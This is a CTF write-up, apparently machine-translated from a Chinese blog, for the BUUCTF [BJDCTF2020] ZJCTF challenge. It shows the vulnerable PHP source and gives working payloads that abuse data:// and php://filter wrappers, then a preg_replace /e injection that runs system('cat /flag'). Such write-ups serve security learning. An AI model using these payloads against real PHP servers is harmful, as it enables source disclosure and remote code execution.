当前位置:网站首页>Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
2022-07-06 06:00:00 【Xiaoyute detailed explanation】
buuctf-[BJDCTF2020]ZJCTF, nothing more than this ( Xiaoyute detailed explanation )
Open questions :
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
By analyzing the code ,get Pass in two parameters text and file,text Parameter utilization file_get_contents() The function opens as read-only , After opening, the content should be consistent with "I have a dream" String matches , To execute the following file contains $file Parameters .
See with file_get_contents() Function on text Parameters , And the following files contain functions , Naturally think of php In pseudo protocol data:// For agreement filter Read the agreement next.php Source code
payload:
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
Here we use base64 decode
Here is preg_replace/e Code execution problem in mode
from https://xz.aliyun.com/t/2557 Learning related issues
I won't go into details here
It's used here \S*=${}
structure payload
next.php?\S*=${
getFlag()}&cmd=system('cat /flag');

边栏推荐
- H3C firewall rbm+vrrp networking configuration
- Station B, Master Liu Er - dataset and data loading
- IPv6 comprehensive experiment
- Analysis of grammar elements in turtle Library
- (5) Explanation of yolo-v3 core source code (3)
- Jushan database appears again in the gold fair to jointly build a new era of digital economy
- B站刘二大人-线性回归及梯度下降
- Novice entry SCM must understand those things
- 初识数据库
- Baidu online AI competition - image processing challenge: the 8th program of handwriting erasure
猜你喜欢

华为路由器如何配置静态路由

B站刘二大人-反向传播

IP day 16 VLAN MPLS configuration
![[happy Spring Festival] if you feel happy, dance](/img/b5/faa4cb94ef5fb45b8bb98ecb69962f.jpg)
[happy Spring Festival] if you feel happy, dance

Station B Liu Erden - linear regression and gradient descent

H3C V7 switch configuration IRF

The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower

功能安全之故障(fault),错误(error),失效(failure)

Wib3.0 leapfrogging, in leapfrogging (ง • ̀_•́) ง

ArcGIS application foundation 4 thematic map making
随机推荐
ArcGIS application foundation 4 thematic map making
Clock in during winter vacation
B站刘二大人-反向传播
Some easy-to-use tools make your essay style more elegant
P2802 go home
入侵检测领域数据集总结
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
[ram IP] introduction and experiment of ram IP core
网络协议模型
wib3.0 跨越,在跨越(ง •̀_•́)ง
Introduction to promql of # yyds dry goods inventory # Prometheus
公司视频加速播放
養了只小猫咪
Implementation of linked list in address book management system
Station B, Master Liu Er - back propagation
Redistemplate common collection instructions opsforvalue (II)
[experience] when ultralso makes a startup disk, there is an error: the disk / image capacity is too small
Report on market depth analysis and future trend prediction of China's arsenic trioxide industry from 2022 to 2028
[course notes] Compilation Principle
Raised a kitten